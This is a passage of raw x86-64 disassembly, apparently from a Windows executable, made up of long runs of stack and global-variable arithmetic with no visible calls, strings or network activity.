mov byte [rsp + 0x26d], al
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0xb100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0xa260]
movzx eax, byte [rax]
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0xa3d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x75e0], rax
mov eax, dword [rsp + 0x43c0]
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x82c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a0], rax
lea rax, [rsp + 0xc1c]
mov qword [0x14017ae70], rax
mov rax, qword [rsp + 0xa870]
movzx eax, word [rax]
mov word [rsp + 0x14b0], ax
movsx eax, word [0x140179034]
movsx ecx, word [rsp + 0xcb0]
sub eax, ecx
mov word [rsp + 0xca0], ax
movzx eax, byte [rsp + 0x1f2]
mov byte [rsp + 0x26f], al
mov rax, qword [rsp + 0x9b88]
movzx eax, byte [rax]
mov rcx, qword [0x14017a6b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
lea rax, [rsp + 0x409c]
mov qword [rsp + 0xb538], rax
mov eax, dword [rsp + 0x4278]
mov ecx, dword [rsp + 0x4060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0x7cb0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xafd8], rax
lea rax, [rsp + 0xaa20]
mov qword [rsp + 0xb540], rax
lea rax, [rsp + 0xcd8]
mov qword [0x14017ae78], rax
mov rax, qword [rsp + 0x9b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b7]
sar eax, cl
mov byte [rsp + 0x1a3], al
mov rax, qword [0x14017a6d0]
movzx eax, byte [rax]
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
or eax, ecx
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0x74b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xdec], ax
lea rax, section..data
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0x8400]
mov rcx, qword [rsp + 0xb148]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x95f8], rax
lea rax, [rsp + 0x42b0]
mov qword [rsp + 0xb550], rax
mov rax, qword [rsp + 0x7e98]
movzx ecx, al
mov rax, qword [rsp + 0x78d8]
shl rax, cl
mov qword [rsp + 0x9448], rax
movsx eax, word [rsp + 0xe80]
mov rcx, qword [rsp + 0x8858]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a9e0]
mov word [rcx], ax
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0x10a0]
add eax, ecx
mov word [rsp + 0xe14], ax
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x271], al
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0x211]
add eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0xb558], rax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0x9730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f0c], eax
lea rax, [rsp + 0xa610]
mov qword [rsp + 0xb560], rax
mov eax, dword [rsp + 0x3dc8]
mov ecx, dword [rsp + 0x4428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0x7308]
mov rcx, qword [rsp + 0x75a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc2c]
sub eax, ecx
mov word [0x14017a4e4], ax
lea rax, [rsp + 0x188]
mov qword [rsp + 0xb568], rax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x89e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov byte [rcx], al
lea rax, [rsp + 0xf6]
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0x9560]
movsx eax, word [rax]
movsx ecx, word [0x14017aaf8]
add eax, ecx
mov rcx, qword [rsp + 0x7298]
mov word [rcx], ax
mov rax, qword [rsp + 0xa898]
mov rcx, qword [rsp + 0x7ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa098]
mov dword [rcx], eax
lea rax, [rsp + 0x4210]
mov qword [rsp + 0xb578], rax
mov rax, qword [rsp + 0xa618]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ec0]
shl rax, cl
mov qword [rsp + 0x77d0], rax
mov rax, qword [rsp + 0xb410]
mov qword [rsp + 0xb580], rax
lea rax, [rsp + 0xd8c]
mov qword [0x14017ae80], rax
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8000]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov word [rcx], ax
movzx eax, word [0x1401790fc]
movzx ecx, word [rsp + 0x12d0]
cdq
idiv ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0xc44]
mov qword [rsp + 0xb588], rax
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8238]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0x9340]
mov rax, qword [rax]
mov qword [rsp + 0xb590], rax
mov eax, dword [rsp + 0x3c54]
mov ecx, dword [rsp + 0x425c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d14]
imul eax, dword [rsp + 0x4350]
mov dword [rsp + 0x3de8], eax
mov rax, qword [rsp + 0x8e00]
mov qword [rsp + 0xb598], rax
movzx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x82a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401791c0], ax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8640]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cb], al
mov rax, qword [rsp + 0x9f00]
movzx eax, byte [rax]
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x78d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe58]
mov word [rsp + 0x14b4], ax
mov rax, qword [rsp + 0x9768]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e8], eax
mov rax, qword [rsp + 0x85b8]
mov rcx, qword [rsp + 0xb4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43ec], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0xb5a0], rax
mov rax, qword [rsp + 0xa1c8]
mov rcx, qword [rsp + 0x7110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8af8], rax
lea rax, [rsp + 0xc24]
mov qword [rsp + 0xb5a8], rax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14017a558], ax
mov rax, qword [rsp + 0xa190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x75a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x7920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov rcx, qword [rsp + 0x8d20]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3e0]
movzx eax, byte [rax]
mov byte [rsp + 0x273], al
mov rax, qword [rsp + 0x9db8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov dword [rcx], eax
lea rax, [rsp + 0x9228]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x91f8]
shr rax, cl
mov rcx, qword [rsp + 0x84b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d28]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7b98]
mov dword [rcx], eax
lea rax, [rsp + 0x11bc]
mov qword [rsp + 0xb5b8], rax
mov rax, qword [rsp + 0xae70]
movzx eax, word [rax]
movzx ecx, word [0x140179090]
xor eax, ecx
mov word [0x1401791c4], ax
movzx eax, word [rsp + 0xfbc]
movzx ecx, word [rsp + 0x1244]
shl eax, cl
mov rcx, qword [rsp + 0x9420]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d4]
mov byte [rsp + 0x274], al
mov rax, qword [0x14017a940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8688]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7340]
mov byte [rcx], al
lea rax, [rsp + 0x40f8]
mov qword [rsp + 0xb5c0], rax
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0xb578]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4114], eax
mov rax, qword [rsp + 0x8cf0]
mov rcx, qword [rsp + 0xa560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e48], rax
lea rax, [rsp + 0xa298]
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0x8fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017ae68]
mov byte [rcx], al
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xb5d0], rax
mov rax, qword [rsp + 0x9840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a20]
mov byte [rcx], al
movsx eax, word [0x140179034]
mov rcx, qword [rsp + 0xae10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8418]
mov word [rcx], ax
lea rax, [rsp + 0xa6d8]
mov qword [rsp + 0xb5d8], rax
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x4258]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa458]
mov qword [rsp + 0xb5e0], rax
mov rax, qword [rsp + 0x8c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
movsx eax, word [rsp + 0x132c]
movsx ecx, word [rsp + 0x1350]
shl eax, cl
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0x23e]
mov qword [0x14017ae88], rax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0xb5e8], rax
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0x96]
or eax, ecx
mov rcx, qword [rsp + 0x8310]
mov byte [rcx], al
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0xb5f0], rax
movsx eax, word [rsp + 0x11b8]
mov rcx, qword [rsp + 0xaa38]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb148]
mov qword [rsp + 0xb5f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5f8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb5e0], rax
mov rax, qword [rsp + 0xb540]
mov rax, qword [rax]
mov qword [rsp + 0xb600], rax
mov rax, qword [rsp + 0x8b10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b4], eax
mov eax, dword [rsp + 0x3d28]
mov dword [rsp + 0x4474], eax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a648]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a4e2], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1464]
add eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xb608], rax
movsx eax, word [0x14017a558]
movsx ecx, word [rsp + 0xcc4]
add eax, ecx
mov rcx, qword [rsp + 0xabd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0x1450], ax
mov rax, qword [rsp + 0x9370]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0xb348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e60]
mov qword [rcx], rax
lea rax, [rsp + 0x418c]
mov qword [rsp + 0xb618], rax
mov eax, dword [rsp + 0x3e44]
mov ecx, dword [rsp + 0x3c88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8910]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790ab], al
mov rax, qword [rsp + 0xb318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7148]
mov word [rcx], ax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0xb620], rax
movzx eax, byte [0x140179076]
movzx ecx, byte [rsp + 0x26b]
and eax, ecx
mov byte [rsp + 0xa2], al
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa708]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9370], rax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa078]
mov qword [rsp + 0xb628], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb628]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9c08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa58]
mov eax, dword [rax]
mov dword [rsp + 0x4478], eax
mov eax, dword [0x140179004]
mov rcx, qword [rsp + 0xb008]
mov qword [rsp + 0xb630], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb630]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4168], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x234]
xor eax, ecx
mov byte [0x1401790f2], al
mov rax, qword [rsp + 0xa4c0]
movzx eax, byte [rax]
mov byte [rsp + 0x276], al
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x7438]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1174]
movzx ecx, word [rsp + 0xd74]
sub eax, ecx
mov word [rsp + 0xcdc], ax
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0xb638], rax
mov rax, qword [rsp + 0x86c0]
mov rcx, qword [rsp + 0x71c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x83b8]
mov qword [rcx], rax
lea rax, [rsp + 0x7fa0]
mov qword [rsp + 0xb640], rax
mov rax, qword [rsp + 0x7e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa760]
mov dword [rcx], eax
lea rax, [rsp + 0x4320]
mov qword [rsp + 0xb648], rax
lea rax, [rsp + 0x229]
mov qword [0x14017ae90], rax
mov rax, qword [rsp + 0x9e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x70e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12fc], ax
movzx eax, byte [rsp + 0x1e3]
mov rcx, qword [0x14017a618]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x174], al
movzx eax, word [rsp + 0xf8c]
mov word [rsp + 0x14b8], ax
movzx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0xa2e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9900]
mov rax, qword [rax]
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0xafd0]
mov ecx, dword [rsp + 0x3cc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0x78c0]
mov rcx, qword [rsp + 0x7b20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4438], eax
lea rax, [rsp + 0xa5d8]
mov qword [rsp + 0xb658], rax
movzx eax, byte [0x14017902a]
mov rcx, qword [rsp + 0x9c80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790d7], al
movsx eax, word [rsp + 0x1434]
mov rcx, qword [rsp + 0xa918]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed4], ax
mov rax, qword [0x14017aab8]
movzx eax, word [rax]
mov word [rsp + 0x14bc], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0x93a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x9e48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26e]
shl eax, cl
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x7888]
movzx ecx, al
mov rax, qword [rsp + 0x9ad0]
shr rax, cl
mov rcx, qword [rsp + 0xb2c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x41b0]
mov dword [rsp + 0x4480], eax
mov rax, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8390]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x80c0]
mov qword [rcx], rax
lea rax, [rsp + 0x1d1]
mov qword [0x14017ae98], rax
mov rax, qword [rsp + 0xb5d0]
movzx eax, word [rax]
mov word [rsp + 0x14c0], ax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d5]
xor eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [0x14017ae50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9418]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa78]
mov word [rcx], ax
movzx eax, byte [rsp + reloc.COMCTL32.dll_DefSubclassProc]
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xb1a0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9170], rax
lea rax, [rsp + 0x3bec]
mov qword [rsp + 0xb660], rax
mov rax, qword [rsp + 0x8348]
mov rcx, qword [rsp + 0x7788]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0x81b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1168]
sub eax, ecx
mov word [0x14017a7e0], ax
mov rax, qword [rsp + 0x85a8]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0xab50]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a59f]
add eax, ecx
mov byte [rsp + 0x185], al
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0xb668], rax
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x8b]
add eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x7bd0]
mov rcx, qword [rsp + 0x8b40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6e28]
mov qword [rcx], rax
lea rax, [rsp + 0x3cd0]
mov qword [rsp + 0xb670], rax
mov rax, qword [rsp + 0x7d08]
mov rcx, qword [rsp + 0x8920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x86a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4450]
mov qword [rsp + 0xb678], rax
movzx eax, word [rsp + 0x1174]
mov rcx, qword [rsp + 0x90d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xac38]
mov word [rcx], ax
mov rax, qword [rsp + 0x9728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1278]
or eax, ecx
mov word [0x140179170], ax
movsx eax, byte [rsp + 0x1b6]
mov rcx, qword [rsp + 0xa128]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
mov rax, qword [rsp + 0x89e0]
movzx eax, byte [rax]
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x8000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc30], ax
mov eax, dword [rsp + 0x4204]
mov dword [rsp + 0x4484], eax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x9860]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7d08], rax
lea rax, [rsp + 0xb420]
mov qword [rsp + 0xb680], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3cb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a8], eax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xab50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x176], al
lea rax, [rsp + 0xf64]
mov qword [0x14017aea0], rax
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0x27a], al
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x9fd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xb688], rax
mov rax, qword [rsp + 0x80c0]
mov rcx, qword [rsp + 0x7f70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0c0], rax
mov rax, qword [rsp + 0x9b80]
mov rcx, qword [rsp + 0xab48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8678]
mov qword [rcx], rax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0xb698], rax
movzx eax, byte [rsp + 0xe1]
mov byte [0x14017a6bf], al
movsx eax, word [rsp + 0x1144]
mov rcx, qword [rsp + 0x9bc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a4], ax
mov rax, qword [rsp + 0xa178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
lea rax, [rsp + 0x1440]
mov qword [rsp + 0xb6a0], rax
mov eax, dword [rsp + 0x4224]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0x8a78]
mov eax, dword [rax]
mov dword [rsp + 0x4488], eax
mov rax, qword [rsp + 0x8e90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7f88]
sar rax, cl
mov qword [rsp + 0xb650], rax
lea rax, [rsp + 0xb420]
mov qword [rsp + 0xb6a8], rax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0x95a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x77], al
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179098], ax
movzx eax, byte [rsp + 0x147]
mov rcx, qword [0x14017ad48]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e30]
movzx eax, word [rax]
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0xa2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe4c], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0x8668]
mov rcx, qword [rsp + 0xb3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb038]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6dc0]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov dword [rcx], eax
lea rax, [rsp + 0x9720]
mov qword [rsp + 0xb6b8], rax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x3ec0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3de4], eax
movzx eax, word [rsp + 0x122c]
mov rcx, qword [rsp + 0xad90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401791c8], ax
mov rax, qword [0x14017aab8]
movzx eax, word [rax]
mov word [rsp + 0x14c8], ax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x7b58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7728]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf6c], ax
lea rax, [0x14017a4d5]
mov qword [rsp + 0xb6c0], rax
mov rax, qword [rsp + 0x9400]
mov ecx, dword [rsp + 0x3af0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ec4], eax
lea rax, [rsp + 0x42e8]
mov qword [rsp + 0xb6c8], rax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0xa420]
mov rcx, qword [rsp + 0x8160]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0x250]
shl eax, cl
mov byte [0x14017a69a], al
mov rax, qword [0x14017a648]
movzx eax, byte [rax]
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x9b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xf40], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xb4a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe98]
xor eax, ecx
mov rcx, qword [rsp + 0xaa38]
mov word [rcx], ax
lea rax, [rsp + 0x4390]
mov qword [rsp + 0xb6d8], rax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x7508]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb410], rax
mov rax, qword [rsp + 0x6e20]
movzx ecx, al
mov rax, qword [rsp + 0x91d0]
sar rax, cl
mov rcx, qword [rsp + 0x70f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb210]
mov eax, dword [rax]
mov dword [rsp + 0x448c], eax
lea rax, [rsp + 0x12c4]
mov qword [0x14017aea8], rax
mov rax, qword [rsp + 0x9588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov byte [rsp + 0x167], al
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xac78]
